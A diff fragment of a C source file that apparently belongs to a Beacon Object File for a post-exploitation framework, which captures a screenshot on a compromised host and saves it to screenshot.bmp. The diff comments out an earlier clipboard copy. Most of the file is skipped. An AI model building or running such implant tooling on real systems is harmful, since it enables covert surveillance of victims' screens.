1 | 1 | | #include <windows.h> |
2 | 2 | | #include <stdio.h> |
3 | 3 | | #include "bofdefs.h" |
| 4 | + | |
4 | 5 | | #pragma comment(lib, "User32.lib") |
5 | 6 | | #pragma comment(lib, "Gdi32.lib") |
6 | 7 | | |
| skipped 115 lines |
122 | 123 | | |
123 | 124 | | //I was going to pull from the clipboard but then realized it |
124 | 125 | | //was more trouble than it was worth, so I just saved it to a file. ~ CodeX |
125 | | - | |
| 126 | + | /* |
126 | 127 | | // save bitmap to clipboard |
127 | 128 | | OpenClipboard(NULL); |
128 | 129 | | EmptyClipboard(); |
129 | 130 | | SetClipboardData(CF_BITMAP, hBitmap); |
130 | 131 | | CloseClipboard(); |
| 132 | + | */ |
131 | 133 | | |
132 | 134 | | BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap..."); |
133 | 135 | | LPCSTR filename = "screenshot.bmp"; |
| skipped 18 lines |